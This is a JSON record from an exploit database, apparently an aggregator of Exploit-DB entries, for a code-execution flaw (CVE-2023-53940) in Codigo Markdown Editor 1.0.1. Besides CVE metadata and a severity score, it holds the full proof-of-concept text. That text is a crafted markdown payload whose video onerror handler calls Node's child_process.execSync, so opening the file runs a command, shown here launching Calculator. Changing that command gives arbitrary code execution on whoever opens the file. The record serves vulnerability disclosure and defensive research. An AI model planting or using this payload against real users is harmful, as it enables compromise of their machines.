{"exploit":{"id":"EDB-51432","name":"Codigo Markdown Editor 1.0.1 (Electron) - Arbitrary Code Execution","description":"Codigo Markdown Editor 1.0.1 (Electron) - Arbitrary Code Execution","cves":["CVE-2023-53940"],"author":"8bitsec","published":"2023-05-05","platform":"multiple","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/51432","path":"exploits/multiple/local/51432.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-51432.txt","vulnerabilities":[{"id":"CVE-2023-53940","state":"PUBLISHED","title":"Codigo Markdown Editor 1.0.1 Electron Arbitrary Code Execution via Markdown File","titleSource":"CVE Program","description":"Codigo Markdown Editor 1.0.1 contains a code execution vulnerability that allows attackers to run arbitrary system commands by crafting a malicious markdown file. Attackers can embed a video source with an onerror event that executes shell commands through Node.js child_process module when the file is opened.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2023-53940","cvss":{"version":"4.0","baseScore":8.4,"severity":"high","vectorString":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2023-53940"},"updatedAt":"2026-04-07T14:07:58.860Z","retrievedAt":"2026-11-26T19:56:43.211Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-51432.png?v=2","url":"https://exploitbin.com/exploits/EDB-51432","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-51432/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-51432/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Codigo Markdown Editor v1.0.1 (Electron) - Arbitrary Code Execution\n# Date: 2023-05-03\n# Exploit Author: 8bitsec\n# Vendor Homepage: https://alfonzm.github.io/codigo/\n# Software Link: https://github.com/alfonzm/codigo-app\n# Version: 1.0.1\n# Tested on: [Mac OS 13]\n\nRelease Date:\n=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D\n2023-05-03\n\nProduct & Service Introduction:\n=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=\n=3D=3D=3D=3D=3D=3D\nA Markdown editor & notes app made with Vue & Electron\n\nTechnical Details & Description:\n=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=\n=3D=3D=3D=3D=3D=3D=3D\n\nA vulnerability was discovered on Codigo markdown editor v1.0.1 allowing a =\nuser to execute arbitrary code by opening a specially crafted file.\n\nProof of Concept (PoC):\n=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D\n\nArbitrary code execution:\n\nCreate a markdown file (.md) in any text editor and write the following pay=\nload:\n<video><source onerror=3D\"alert(require('child_process').execSync('/System/=\nApplications/Calculator.app/Contents/MacOS/Calculator').toString());\">\n\nOpening the file in Codigo will auto execute the Calculator application.","sha256":"848726ef6ea558bf0728f41ce60c506cba632e2e0b2841f40f3a3bd21cf66408","bytes":1236,"fetchedAt":"2026-11-27T15:08:16.150Z","encoding":"utf-8 (display only; download retains original bytes)"}